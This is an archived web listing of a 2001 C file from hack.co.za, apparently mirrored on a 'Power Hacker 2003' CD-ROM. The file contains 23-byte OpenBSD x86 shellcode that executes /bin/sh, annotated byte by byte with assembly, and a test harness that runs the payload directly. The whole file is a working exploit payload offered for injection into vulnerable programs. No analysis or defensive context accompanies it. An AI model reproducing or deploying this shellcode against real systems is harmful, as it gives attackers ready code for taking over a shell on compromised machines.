home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / openbsd / execve-binsh.c next >
Encoding:
C/C++ Source or Header  |  2001-04-29  |  960 b   |  25 lines

  1. /************************************************************
  2. * OpenBSD 23 byte execve code. Greetz to preedator          *
  3. *                                          marcetam         *
  4. *                                      admin@marcetam.net   *
  5. *************************************************************/
  6. char open_bsd[]=
  7.   "\x99"            /* cdq              */
  8.   "\x52"            /* push %edx        */
  9.   "\x68\x6e\x2f\x73\x68"    /* push $0x68732f6e */
  10.   "\x68\x2f\x2f\x62\x69"    /* push $0x69622f2f */
  11.   "\x89\xe3"            /* mov %esp,%ebx    */
  12.   "\x52"            /* push %edx        */
  13.   "\x54"            /* push %esp        */
  14.   "\x53"            /* push %ebx        */
  15.   "\x53"            /* push %ebx        */
  16.   "\x6a\x3b"            /* push $0x3b       */
  17.   "\x58"            /* pop %eax         */
  18.   "\xcd\x80";            /* int $0x80        */
  19.  
  20. int main(){
  21.   void (*run)()=(void *)open_bsd;
  22.   printf("%d bytes\n",strlen(open_bsd));
  23.   run();
  24. }
  25. /*                www.hack.co.za           [29 April 2001]*/